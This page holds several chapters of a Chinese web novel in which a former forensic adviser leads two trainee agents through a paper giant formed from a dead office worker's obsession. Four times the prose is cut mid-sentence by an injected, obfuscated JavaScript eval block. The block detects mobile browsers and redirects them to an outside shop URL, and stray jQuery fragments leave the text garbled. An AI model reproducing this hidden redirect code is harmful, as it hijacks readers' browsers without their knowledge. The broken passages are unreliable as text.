尸块自下而上层层堆起,尖牙之间严丝合缝地嵌在一块。庆幸的是这些尸块没有来攻击他们,可用不了多久,这里会被彻底封死,将他们困在肠道里。 金晟夕在想办法。 重新回到巨人的脚后跟,说不定能挡一挡尸块雨?不过,风险是回程的暴露时间过长,要是被尸块砸到可就惨了。那往上爬到那扇门里?但巨人体内会不会还有什么更严峻的危险? 她一个人肯定没问题,管它是电人的胃壁还是雷人的心脏,照闯不误。可苏喻和杨新该怎么办? 金晟夕放慢呼吸,心想至少不能让这两个小孩死在她眼前。 就在这时,苏喻低声开口:“金小姐,我发现了一件事。” “说。”金晟夕从楼梯上跳下,蹲在两个小孩中间。 苏喻被她的架势震住,紧张地咽口水:“那些尸块好像不会砸在巨人身上,只落在它的掌心。” 金晟夕立刻抬眼去看。 先前只顾着看巨人修补身体,根本没细看尸块的坠落轨迹,这时才发觉苏喻说的没错。 其实尸块下落得毫无规律,像雨点一样散落,并没有主动避开巨人。可在即将砸中时,巨人总会伸手将尸块拦下,并进行挑选,只要是合适的部位就会被拿来修补。 金晟夕迅速作出决定:“苏喻你这个发现可真及时,非常好。走,我们继续往上爬。” 杨新一愣:“往上?不是吧,为什么啊?” 苏喻同步了门的事情,杨新听完脸色更差了:“可上面那个地方不是会把人吸住吗?我不想再被电晕,还有啊……” 金晟夕起身拍了下他的后脑勺:“少废话。让你们往上不是往这里面爬,是从巨人体外爬。算了不说了,直接跟我走就行。来来来!” “你说就说,凭什么打我头!”杨新捂着后脑勺很想大声囔囔,但碍于眼前这人是最有希望救他们出去的人,只能小声抱怨。 金晟夕当然听见,但窃笑着心想:打你的头只是练练手,说不定等会儿还要打巨人的头呢! 此时她已跑到巨人的左手边攀爬引路,苏喻紧跟其后,杨新虽仍心存疑虑,但巨人修补的速度在不断加快,他不想被封死在这里面,只能悻悻跟上。 攀爬过程出乎意料的顺利。 尸块雨的确很少落向他们,有一小部分尸块没被巨人选中从而快要砸到他们时,会被金晟夕抬脚踢开。 就这样一边避开坠落的尸块,一边与巨人的修补速度赛跑,快要来到门前不足一米的位置时,情况突变。 一块体积远超男性躯干数倍的尸块正砸了过来,坠落的破空声在头顶呼呼作响。与隔着探测镜看到的完全不一样,那团尸块正中咧着一张嵌在肉里的口器,牙齿向外翻卷,细长密集得似一排排湿漉漉的黑色铁钩,风一吹,那排铁钩牙齿便颤动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127228|196138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,发出细碎的刮擦声。而且牙缝间的血肉鲜红发紫,黏连着混浊的灰黑色唾涎。 要是被这恶心东西咬上一口,后果根本不敢想象。 两个小朋友彻底僵住,瞪大双眸,连呼吸都忘了。 只有金晟夕还在动。 “趴下——!” 话还没落地,她已跃了出去。 刀光闪过,晃眼间尸块被削成两半,它发出短促嘶鸣,痛苦地龇牙咧嘴,挣扎着想要撕咬对方,可只见金晟夕再次挥刀,先砍断尖牙,再切成碎片,随后收腕抬腿,将一块块碎肉精准地踢飞到巨人的掌心! 这一切发生得太快,眨眼间原本庞大的尸块只剩最后一块小碎肉,金晟夕甚至在踢飞它之前先借力一蹬,稳稳回到原来的攀爬点。 站稳、抓紧,呼吸一点没乱。 杨新看得目瞪口呆,要是现在双手能空出来,肯定当场啪啪啪鼓掌。 而苏喻的注意力被她手里的武器吸引。 居然是一把解剖刀! 解剖刀根本就不适合拿来做武器,刀身短,刃口薄,只适合精细切割。而且现代世界也早就不用解剖刀,尸检直接交给智能设备完成,还不需要切开尸体,扫描一下就能知道死因。这是虚拟解剖,从几年前就已普及。 所以还能看到解剖刀,甚至有人拿它当武器,简直神奇。 而且这出神入化的程度,像是这把刀长在她手里,明显用过很多年。 金晟夕察觉到疑惑的目光,暗笑了一声,心想老娘用这把刀清除丧尸的时候,你们的父母大概在哪个防空洞里躲着呢。 “没事吧?没事就继续爬!”她三步并作两步,蹭蹭蹭往上爬得飞快,一下子抵达了巨人的心脏。 巨人的五脏六腑由纸屑构成,心脏同样如此。一团看似被反复揉捏过的纸心脏,密布褶皱的上面嵌着一扇门,门框清晰,门把手从纸面中凸出,在心脏上显得格外突兀。 而这道门后面,很可能是逃出异象区的出口。 苏喻不禁感慨,从和队长们分开后,她其实没想过能在异象区里活下来,更没想过能从这里逃出去。可是现在,这一切似在一一实现。 而在她身后,巨人已经填补到胸口的位置,光线在一寸寸消散。 苏喻下意识回头,却愣在原地。 金晟夕已经推开了门,一只脚踏进门内,这时发觉到异常便回头看了一眼,确认没有危险后也不催促,独自转身进入门内,手扶着门板,静静等待他俩。 杨新注意到她陡然严肃的神情,以为门里有什么危险,探头探脑张望了几眼,没发现异常,于是回头看向苏喻。 只一眼,他也愣住了。 因为看见了那三个人。 如果不是那几枚安防局的金色徽章,根本无法认出队长他们。毕竟五官和四肢完全变样,还和其他尸块一起被巨人当作材料填补身体。 可那三个人的眼睛都刚好对着苏喻和杨新,像是在送别,也像是在说: 继续向前,不要回头。 这是队长跟他们说的最后一句话。 寂静在蔓延,所有人都静止不动。 只有巨人仍在修补,创口被一层层覆盖,体内的光随之黯淡。 在最后一丝光亮消失前,苏喻注意到那金色徽章闪了一下,微弱的反光越过她的肩膀,落在身后不远处的门上。 她顺着光看过去,眼眶顿时湿润,泪沿着脸颊砸在地上,为她自己砸出一条坚定不移继续向前的路。 没再回头。 杨新紧跟其后,踏门而入。 下一秒,门在他们身后关上。 5. 掉了颗螺丝的打工人05 门里是一间不足五平米的房间。 房里只有一张凌乱的办公桌和一把椅子,剩余空间虽够三个人站立,但行动受限。 金晟夕在进门的第一时间便坐了那把椅子,双手搁在桌上托腮,不知在想什么。 苏喻环视房间,用探测镜对六面墙体进行逐帧扫描,可惜显示墙体结构完整,根本没有额外通道。杨新则塌着双肩靠在角落里唉声叹气,还没从前辈死亡的阴影中完全抽离。 苏喻走过去拍了拍他的肩膀,算作安慰。 到了这种时候,她反倒会坚强一些,但也会严肃许多。发现没有出口后,她转向金晟夕询问下一步行动指令。 金晟夕抬头微笑,语气倒难得温柔起来:“还记得离开这里的条件吗?” “找到并摧毁控制这片区域的核心。”苏喻一板一眼地低声答道,而后意识到:核心在哪? 杨新听了她们的对话,深吸气强行让自己冷静后,转而去查看桌上的物品有没有关于核心的线索。结果一眼扫过去,心就凉了半截。 一台老式电脑,一摞摞散乱的纸张,还有一个被纸压住杯口的泡面杯。 杨新敲了敲主机外壳:“这电脑也太老了吧,几十年前的型号?现在还有人用这种铁疙瘩嘛,卖废品都会被嫌弃占地方。” 他说得没错,这电脑的确很老,是金晟夕小时候见过的款式。那时候还不是废土世界,甚至连丧尸都还没来,是难得的和平年代。 这点发现很重要,意味着形成这片异象区的死者来自那个和平年代。而安防局内部一直认为异象区是近几年才死的人造出来的,又或者是感染了丧尸病毒的人死后多年生成的。但现在看来显然不是。 苏喻将这点默默记下。 而杨新接着去翻动那摞纸,纸上是建筑设计图纸,左上角有署名,工程师的名字各不相同,但工程助理一栏是同一个人: 林疏港。 看来,这张办公桌的主人应该是她。 杨新对此毫无兴趣,只想找到和核心有关的线索。可翻来翻去,除了纸还是纸。 金晟夕最烦有人在她思考的时候动来动去:“哎呀消停点!你再这么扒拉,等会儿它们动手了,看你怎么办。” 杨新一听,吓得迅速缩回双手。 见他老实下来,金晟夕心情顺了些:“苏喻,之前有人从异象区出去过吗?”这个问题她需要再确认一遍。 “没有的,金小姐。” “那是谁告诉你们,只要找到核心就能出去?” 苏喻惊愕发问:“金小姐你不知道?” 金晟夕转动椅子,饶有趣味地看她:“我为什么会知道?” 苏喻被她盯得有些不好意思,这时才又想起金晟夕好像一开始就在这异象区里。那如果她本就生活在这里,的确不会知道外面发生过的事。 金晟夕见她走神,便挑了挑眉拉回她心神。 苏喻脸红地咳了一声,开始说明。 原来在将近一年前,安防局前总长官薄晴率领一支精英部队,进入一片被异常雾气覆盖的区域,也就是后来被命名为001号异象区。 进入没多久,全员失联。 失联了四十多个小时后,薄晴曾短暂出现在区域边缘,只来得及传出简短信息,随即再次被区域吞没。 此后,安防局再也没能接收到她的天信信号。 “等一下,天信是什么?” 苏喻继续向金晟夕解释。 天信是安防局植入所有队员大脑的生命监测芯片,用于同步生命体征与定位。一旦有成员死亡或失联,系统会立刻反馈。 “没收到,是不是意味着晴,她已经死了?”金晟夕低沉着嗓音问。 苏喻讶异于她的情绪变化,心想她果然是个善良的人,不希望像薄晴长官这样伟大的人死去吧。 “不是,如果是死亡,天信会反馈死亡信号。” 相应的,如果是受伤、疾病或者其他生命体征,天信都会如实反馈。 “那就是被屏蔽了信号?” 苏喻依旧摇头。 原来,在薄晴她们进入异象区后,天信信号从未中断过,也因此除了薄晴以外的其余几人在什么时候死的都一清二楚。 直到现在,那几人的信号仍在系统里显示着死亡状态,只有薄晴从区域内脱离几秒再被拉进去后,系统才没能再收到她的天信信号。 听到这里,金晟夕眉头皱得更深。 杨新知道自己脑内有天信芯片,但对具体机制了解不多:“那为什么异象区能屏蔽通讯,但天信还能运作?” “也许是传递方式或者媒介不同。你还记得吧?芯片植入前,我们都被采集过血样,数据一直存在系统中。” 杨新似懂非懂地点了点头,随即看向金晟夕:“你问这个干什么?我们一直待在这里面,不会被闷死吗?” 他的担忧不假。 房间狭小,门框和墙之间虽然留有缝,但巨人已将胸腔补好,那这里面就是完全密闭的,空气迟早会被耗尽。 金晟夕不以为然:“怕什么?你身上那套衣服不会让你闷死吧。” 杨新低头看了眼自己的制服,内层嵌着急救系统,一旦监测到缺氧就会自动供氧。这让他不禁打量金晟夕。 她没穿安防局的衣服,上半身是黑色宽松长袖外加一件柠檬色短外套,底下是一条工装裤搭配橙色短靴,刚和尸块近身搏斗过,衣服上沾着污渍,但一点也不影响她明亮张扬的气质。 杨新从头看到脚,没看出这身衣服有任何防护作用或是供氧接口。 苏喻同样也在打量金晟夕。 她对安防局的装备如此熟悉,可偏偏对薄晴长官在异象区的遭遇一无所知。 狭窄的室内安静了下来。 金晟夕打断他们的思索,继续追问细节:“所以,薄长官留下的信息就是找到核心?还有别的吗?” 苏喻想了想,严谨道:“不清楚。” 信息的解码工作并非由她完成,总部也不会把所有信息下放给队员知晓,因此信息里是否还包含其他内容,她无法确认。 金晟夕点头,转而询问:“那薄长官进入的异象区是这个?” “不是。那个异象区被评定为最高危险等级S+。我和杨新只是实习生,即便有队长的带领,能执行任务的区域也只能是危险等级最低的D级异象区。” 这是目前听到的最好消息了。 金晟夕松了口气。 即便是她,也无法保证能在困住薄晴的异象区中全身而退,更别提还要带两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127229|196138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫无作战经验的小孩逃出这里。 但眼下也不容乐观啊。 薄晴拼命带出来的信息不会有误,那现在唯一的问题仅有,核心是什么?真的跟死者的执念有关? 金晟夕起身将双手撑在桌沿,一目十行地将桌上所有纸张迅速过了一遍。这种状态让她有点怀念,很多年前她也是这样协助破案的。毕竟在对付丧尸之前,她一直是名普普通通的法医顾问。 这时,她的视线在一张纸上停住:“这是什么?” 杨新以为她发现了关键线索,立刻凑过来看,结果扫了一眼就泄了气:“这不就是飞行器?你没见过?” 她确实没见过。逃亡期间,只要听见任何机械运转的声音,她第一反应就是赶紧跑,不管是地上走的还是天上飞的,都默认那是来追捕她的。 “为什么没有机翼?”金晟夕问。 “机翼?那都是旧时代的设计了,现在的飞行器哪还用那种东西啊。”杨新随口说着,又翻了翻那张纸,颇感意外,“怎么还是手绘的。” 苏喻也过来看了眼手稿,很快察觉到异常:“这一堆都是建筑图,怎么会夹着一张飞行器的设计稿?” 的确! 桌上铺开的图纸大多是高层建筑的设计图,只有这一张不是。 “还有更奇怪的呢,明明用的是旧时代的电脑设备,画的却是现在的飞行器。” 金晟夕幽幽补了这句话后,杨新和苏喻的神色瞬间变了。 不过,当年就有新型飞行器设计稿也并不反常,毕竟技术创新发展往往会突然在某个节点骤然加速。金晟夕对此深有体会,直到现在她都还很惊讶从手机有网络到人工智能的出现,也不过短短十年时间。 所以在她看来,林疏港应该是个跟她同时代的人,顶多虚长她几岁。即便有这个飞行器的设计手稿,也不足以推翻这一结论。 看完了纸,再去够桌子最里侧的泡面杯。杯口上压的是一堆废稿,将其拿开看了眼杯子里面后,金晟夕猛然愣住。 泡面杯里没有面,而是满满一杯苍蝇。 杨新后退一步:“呕!好恶心,为什么有苍蝇,还这么多?!” 苏喻后仰身子,担心苍蝇会突然飞出来:“金小姐,你发现了什么?” 金晟夕俏皮地向她眨了眨右眼,又从腰上取出镊子,从中夹起一只苍蝇。 苏喻这时才看清她腰间有个皮革收纳袋,袋子里就有她那把解剖刀,还有别的工具;袋子右下角有个罕见的logo,令她瞪大了双眸。 “苏喻,你看。” 她被金晟夕拉回了心神,双眸慌乱地眨了又眨,无知无觉地凑近,又在看清后低呼了一声。 “啊!没有头。” “没错,是无头苍蝇,有意思吧~” “为什么会这样?”杨新也发现了,杯子里所有苍蝇都是无头的。 “你们不觉得它们吃得太饱了吗?” 两个小朋友还没来得及细想,便见金晟夕已将镊子换成了解剖刀,直接在桌上对苍蝇开膛破肚。 杨新赶忙抬手挡住脸,怕有恶心的液体溅出来。 还好没有。 可在被剖开的体腔里,露出的东西却更恶心。 原来在苍蝇的体内,蜷着一颗完整的头。 6. 掉了颗螺丝的打工人06 金晟夕记下头颅在苍蝇体内的具体位置后,收起手中工具,又把泡面杯放回原位,然后去开电脑。屏幕壁纸是一张项目时间表,上面密密麻麻的全是会议时间和工作事项。 杨新看得发怵:“这根本没有休息时间啊!” 他记起历史书里讲过旧时代的人类曾有一段时期实行007工作制,二十四小时连续一周无休止地上班。 很明显,这台电脑的主人正在经历这样的工作节奏,每天除了绘制设计图,还要参加各种会议,并且已经持续了数月。 过劳死的吗? 苏喻和杨新同时如此想到。 而金晟夕则快速翻看电脑里的文件夹,最后停在一张图片上。 “一只鲸鱼?”杨新看得满脑袋问号。 金晟夕翻了个白眼:“仔细点看,这是虎鲸,而且不止一只。”至此,她已有了眉目。 杨新还是没看到别的虎鲸,直到苏喻指出才注意到,除了一只游在海面上的大虎鲸外,还有一条小虎鲸侧躺在它的背上,一动不动的,显然已经死了。 俩人一时没能理解眼前这一幕,更没料到金晟夕会突然开口:“我要出门一趟。”语气随意得就像只是出门扔个垃圾。 但显然不是。 杨新问她要去做什么。 她笑了下:“找核心。” 两个小朋友震惊不已。 杨新不停地问问题,金晟夕只重复强调一件事:这趟只能她一个人出去。 杨新不爽又无奈:“你至少说一下你的外脑账号啊,不然我们怎么联系你?” 苏喻提醒:“杨新,外脑也没有信号。” 金晟夕挥了挥手:“而且我也没什么外脑。哎,你们别折腾了,在这里等我就行。” 杨新只好放弃,苏喻则越发困惑。 毕竟外脑和天信不同,是跟空气一样对现代人相当重要的基础设备,衣食住行都离不开它。哪怕再穷,也会捡个便宜货将就用,可金晟夕竟然说她没有。 从遇见的第一眼,苏喻就一直在揣测她的身份,大多时候都往好的方向想,即便有一点自欺的乐观在。可此刻,她不可避免地想到另一种可能。 金晟夕是个逃犯。 这个念头立即被压了下去:不可能,身上有席家logo物品的人,不会是逃犯。 而此时,金晟夕压了下她的肩膀:“照顾好自己,也看着点杨新。” 苏喻心底一暖,忘却掉刚才的猜疑,只顾着看她笑得没心没肺地出了门。 门在身后合上,外面一片漆黑。 金晟夕闭上眼睛,停了半秒再重新睁眼,适应黑暗后,立即朝目标方向跑。 很快抵达目的地:巨人的颈部。 之前她只观察巨人的正面,只注意到最醒目异常的部位:心脏上的那扇门。而刚才攀爬时,又是沿着巨人左侧一路向上,自然错过了另一处细节。 那就是在巨人颈部下方的右后侧,藏着这么个玩意儿。 金晟夕绕着它走了一圈,来到巨人的肩胛骨处,再次抽出解剖刀,压低身体重心,猛地起跳后,双手合握刀柄,借着下坠的重量将刀锋从背部斜着送入。 刺——啦—— 刀锋从脊背绕到胸前切了一圈,大片碎纸屑纷飞而起,烟尘滚滚。 巨人动了。它伸出大掌从侧上方压下,试图按住这道新生的破口。 金晟夕在手掌落下前已后撤,直奔颈项上的那盏探照灯。 咣当一声,灯被她一脚踢飞,空出头颅的位置后,她转身对巨人吼道:“快把你的头拿出来,放在这里!” 原来,巨人的头颅就嵌在颈后下方的位置。 那颗头压塌了颈椎,致使肩胛骨被迫向两侧错开,右肺被挤得支离破碎。如果他们方才是从右侧爬上来,大概会在半途与头上那双突起的眼睛余光相对上。 一想到这画面,金晟夕就有点遗憾。早知道就从这边上了,还能给那两个小孩练练胆。 坏笑着看向上方,巨人已从中取出人头,头上的黑发随风飘扬,露出端正的五官,年纪看着三十岁左右。 这张脸这颗头这个人,应该就是林疏港,一名因高坠而亡的职场打工人。 想到她的死因,金晟夕不禁凝眉。 这时,头颅已回到颈上,巨人正在调整脸的方向,森森然的眼睛刚好转了过来,正对着她。 不知怎的忽然感到头脑昏沉,自己的意识正被拽进去! ~ 另一边,门内的苏喻和杨新在等待。 苏喻坐在电脑前一动不动,杨新则在房间里来回走动,从桌前走到门口又再折回去,每次停在苏喻身旁想说点什么,最后又什么都没说。 他们等了整整一小时。 杨新终于忍不住掰下门把手:“我去找她。” 苏喻摇头:“出去会被吸附。” 这也是金晟夕让他们留下的原因。巨人肯定已经补好身体,他们不可能再爬向体外,而体内要经过各个脏腑,不知会不会遇到类似胃壁那样的险境。 杨新烦躁地抓了抓头发:“可她一点消息也没有,不会是……”话音未落,他忽然看到苏喻被电脑屏幕吸了进去。 “苏喻!” 他冲上前去想抓她的手,却一同被拖进了电脑里。 俩人再度睁眼时,发现自己正在往下坠,四周一片漆黑,过了一会儿,两侧开始亮起零碎的画面,像穿梭在胶卷当中。 他们没想到会看到林疏港死前的遭遇。 林疏港已连续加班好几个月,每天干到凌晨才下班,睡前一想到领导的批评就会哭,睡四五个小时就会被手机震醒,睁眼的第一件事是回复手机里弹出来的一条条消息。 手指机械地敲字:好。收到。马上给你。 她很疲惫,但只能一直撑着,撑到八月的某个台风天。 项目进入收尾阶段,工作量反而骤增,所有对接部门都卡在截止日期前才给修改意见,她只能一条条整理和调整后向上汇报。 时间紧迫。 交稿前还被纸划破了手指,裂开一道细长伤口,血珠从中渗了出来,她看了一眼,简单擦了下,继续干活。 终于到了饭点,她给自己泡了碗面。热水刚倒进去,塑料叉子还没来得及掰开,手机再次震动。 嗡——嗡——嗡—— 林疏港的身体瑟缩了两下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127230|196138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我赚钱只是想吃口饭而已,为什么连饭都不让我吃?” 低声埋怨又有什么用?她被自己的话逗笑了,笑得胃里发酸,笑到想把手机摔了,让它彻底安静。 可手机还在震。 林疏港吸了口气,面无表情地接通,一声不吭地听完,应了句好后挂断,拿起文件去找领导。 回来时,泡面已经彻底坨了。 她盯了好几秒,还是低头一口一口吃掉。泡开的面条软塌塌地黏在一起,味道糟糕得让人怀疑人生。而且吃完后,她才发现面汤里多了只苍蝇。 她感到更痛苦了。 就这样去度过一整个下午的会议,晚上才有空处理分内事,时间飞逝,回过神来又是凌晨。 从椅子上起身时眼前突然一黑,她倒了杯水一股脑喝下去,勉强稳住,但胸口还是发闷,胃也开始绞痛。 她索性上了天台。 台风已经停歇,但风依旧很大,吹得人很舒服。 眨了下眼,对面楼顶的飞机映入眼帘。 公司园区很大,建筑、机械,各种试验项目挤在一起,其中也包括飞机的设计与制造。她原本对这些毫无概念,专业也不相关,却清楚记得第一次站在天台看到那架飞机时的感受:那是极致的美,望着它就能洗涤内心的疲惫。 最开始只是看,后来干脆去找资料,零零散散学了些飞机设计的基础知识,画了几张图纸,设计想法相当粗糙,她却很满足。可渐渐地,那些草稿只能因繁忙的工作而蒙尘。 远处的飞机也似被蒙了尘,风吹得人睁不开眼,于是为了看清对面的飞机,林疏港扶住栏杆,身体前倾,就在这时,身后忽然响起一阵清脆声响。 心猛地一跳,下意识以为是手机,转头却看到一颗螺丝在地上滚动。 正要走过去捡起来看,口袋里的手机还是震了。 林疏港确认自己没听错,恍惚地拿出手机,屏幕亮起,甲方发来的十几条语音消息接连出现。 让人窒息。 苏喻和杨新在一旁看着她的背影只觉得压抑。 林疏港已经工作了六七年,时间并没有让事情变得轻松,只让忙碌变得持续,让紧绷变成日常。 大风从天台上掠过,她低着头,掉着眼泪。 突然间她举起手! 梆的一下,手机被狠狠甩向地上,外壳崩裂,零件四散开来,与那颗螺丝混在一起。 苏喻和杨新一时无法理解眼前发生的一切。 因林疏港摔了手机后,身体突然失去平衡,天台上的风还突然增强,她来不及站稳,人已越过了栏杆! 五百多米的高度,几秒后传来一声巨响。 砰——! 这栋楼外有电线、广告牌、遮阳蓬之类的物件,会切割肢体,甚至导致尸首分离。 林疏港的遭遇更惨不忍睹,整颗头颅直接嵌入体内,变成了一具无头碎尸。 她明明是害死队长们的元凶,可当她以这样的方式死去,苏喻和杨新的内心只剩下沉重,人也已经完全懵了,没能察觉到周遭环境的变化。 脚下的地面已经消失,两人再次坠落。 啊啊啊啊啊! 7. 掉了颗螺丝的打工人07 俩人胡乱挥动双手,试图抓住任何能阻止身体往下坠的东西,因为耳边持续不断的呼啸声提醒着他们,一旦落地,下场只会和林疏港一样。 好在有人在半空中接住了他们。 是金晟夕! “嗨,又见面啦。” 听到这熟悉的笑嘻嘻语气,苏喻一下子感到安心,可很快察觉到不对,因为呼啸声仍在耳边回荡。 她连忙去瞧四周,一个昏暗且半封闭的空间,身后有两个微微发光的洞口,风就是从那里传来,而前方脚下延伸出去的是数条经纬分布的线,交错着没入黑暗深处。 杨新的五官拧作一团,因为被人提着后领扔到了地上:“谁扔我的,屁股好痛!” “我可没丢你啊。”金晟夕立刻反驳,而后吹起口哨转移目光。 苏喻忍不住弯了弯嘴角,杨新则低哼了一声,边撑起身子边问这是哪里。 “巨人的脑袋里。喏,身后那两个发光的洞看到没?那是眼睛。因为高坠,眼球半耷拉在眼眶外,我把它挪开才进得来的。” 听到这里,杨新和苏喻同时沉默。金晟夕笑了笑,居然还继续说起更多细节。 “打住。别说了,太恶心了。”杨新转开脸干呕,“你怎么能做这种事?她伤害过我们是没错,可也不能,不能……” 不能了半天也不知不能什么,只感到心情很复杂。毕竟一条活生生的人命就这样死在眼前,死因又太过荒诞,让人无从消化。 苏喻垂眸,沉默了几秒才开口:“金小姐,林小姐的死真的是意外吗?” 金晟夕扬了扬眉:“哦?你觉得不是?” 苏喻点头:“嗯,我觉得不合理。那种规模的公司,还是建筑设计行业,天台不可能没有任何防护措施。” 杨新连忙点头认可,顺着她的话往下分析:“对对。我们看到的画面太模糊了,根本看不清林疏港身后的栏杆有多高,但不管怎么说,也不该被风直接吹下去啊。” 金晟夕没有回应,只是看着苏喻,等她继续往下说。 苏喻被看得有些不好意思,谨慎补充道:“我只是在想有没有一种可能,林小姐是自杀?!” 密密麻麻的白底黑字纸海,是无穷无尽的工作任务压得林疏港喘不过气。苏喻猜测,她可能因压力过大才选择了跳楼,但杨新无法认同这种行为,义愤填膺地喊道:“自杀是大罪啊!” 在丧尸时代后的世界,人力资源极其稀缺,法律规定自杀等同杀人罪。除了个人会被审判,家属也会受到牵连,补给和工作机会将大幅减少。出生于这种时代背景下的杨新无法想象有人会选择自杀。 苏喻虽也出生在同样的时代,却无法认同这种冷漠的把人当资源的功利思想。她觉得要是一个人痛苦到想结束生命,可这片土地上的人们只会指责她,而不去追问她的痛苦根源。那在这样的环境下,痛苦本身就会被视为一种罪。 这很可怕。 “林小姐不是我们这个时代的人,过去的自杀罪没有现在这么严重,我们也没资格去指责她。个人时间被剥夺,连吃饭都是奢望,如果不是痛苦至极,她不会选择自杀这条路。” 杨新愣住了,不敢置信她会说这种话,不过又想起林疏港夜里流泪入睡的样子,心里不禁一阵酸楚,因而尴尬地安抚苏喻:“我只是随口说说而已,你不要生气。” 金晟夕一直没出声,直到杨新讪讪地问她究竟是自杀还是意外。 “谁知道呢,自杀也可能,意外也说不准。别忘了,她一天都没正经吃过饭,再加上高强度工作,低血糖发作挺正常的。”她走到苏喻身旁,拍了拍她的肩膀,然后头也不回地示意他们跟上。 沿着一条晃得厉害的神经纤维往前走时,苏喻和杨新还在惊讶低血糖这回事,暂时忘了问为什么要进入这里,更不清楚这条路通向哪里。 金晟夕继续解释:“这大家伙的五脏六腑里只有胃会主动攻击,看来林疏港死前饿得厉害。” 苏喻想起她死前只吃了一碗泡面,两口就见底了,而且发现苍蝇后还去卫生间吐了出来。 “你的意思是说,她在天台上犯了低血糖,晕倒后仰把自己给摔死了?”杨新对自己的话都感到震惊。 “有可能。” “所以是意外?林疏港不甘于就这么死去,就生成这么一个杀人的区域?这也太……” “诶,我都说了,是有可能。这个词的意思是,可能是意外,但也排除不了是自杀,甚至,说不定还是他杀呢。” 这番话把两个小朋友吓得不轻:“他杀?!” 其实高坠死亡要排除他杀并不难。只要检查死者体表是否存在异常损伤,比如挣扎或打斗留下的痕迹,再确认是否有被下过药,通常解剖一结束,结合现场痕检,结论就八九不离十。 可真正棘手的不是尸体,而是现场。 这里不是现实世界,而是林疏港的异象区。他们看到的一切未必真实,也未必完整。如果这是她临死前的主观视角,那她很可能并不清楚自己是如何坠楼的。说不定那个突然向后仰的画面是片面的,而非连贯的事实。又或者这不是主观视角,而是她臆造出来的画面,不让人知道她是自杀的也说不定。 但是,金晟夕没忘记那颗突兀的螺丝。 这时,目的地到了,她停止脑中的推理,抬头往上看。 半空中悬浮一个人影,轮廓透明,心脏处泛着冷光,从五官上能辨认出那是林疏港。 杨新颤抖着抬手:“这,这是鬼魂?” 金晟夕背手站着,听杨新这么一说,忍不住哈哈大笑:“不是不是,那是她的意识。” 杨新一愣:“你怎么知道?” “因为她能听见我们说话,而且这里是她的大脑。不过,管她是鬼是人,能交流就行。” “可我们说了这么久,她怎么一点反应都没有?” “哎呀,说明你一直在说些废话,她都懒得回。所以要说回要紧事,我问你们,她的执念是什么?” 苏喻小声答:“吃饭?” 金晟夕一直注视着林疏港,见她没反应,便回应苏喻:“很可惜,不是。不过你的推理方向没问题,再接再厉。小卷毛,到你了,说说她的执念。” 杨新莫名有种被上级点名的紧张感:“执,执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127231|196138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念应该是她死前想做的事吧。比如完成工作任务、设计定稿?” “飞机。”苏喻忽然说道。 这个词蹦出的瞬间,林疏港的意识波动了下。 “很好,你们一起推理出来了。”金晟夕继续背着手来回走动,目光始终锁住她,“林疏港,将巨人变成一架飞机,就你设计的那种,挺好看的。快,我带你去一个地方~” 四周安静了片刻。 杨新见林疏港仍旧没回应,正想开口追问,却被金晟夕抬手制止。 她再次开口:“你不是想开飞机么?而且你想看的东西我知道在哪。” 霎时间,脚下传来震动。林疏港终于睁开了眼,并向前飘动贴近金晟夕:“你知道?” 杨新下意识后退,苏喻则已进入防备状态,只有金晟夕站在原地,迎着她审视的目光,身形依旧不动。 “是,我知道。” 俩人对峙十几秒,最终,林疏港像是得到了自己想要的答案,后撤飘回到半空中。 没过一会儿,四周传来轰然巨响,是巨人开始改变形态。 “抓紧我。” 金晟夕一手一个,扣住两个孩子的腰,将他们牢牢抱紧。 脚下的纸屑不断分裂、塌陷,她带着两人跳跃其中,找到巨人重组完成的结构才停下。 过了好一会儿,震动逐渐平息,一架飞行器的轮廓终于成型。 在他们面前出现几排空座位。 “坐下吧。” 金晟夕把两人像放行李一样安置在座位上,随即迈步上前来到副驾驶,与林疏港并排而坐。 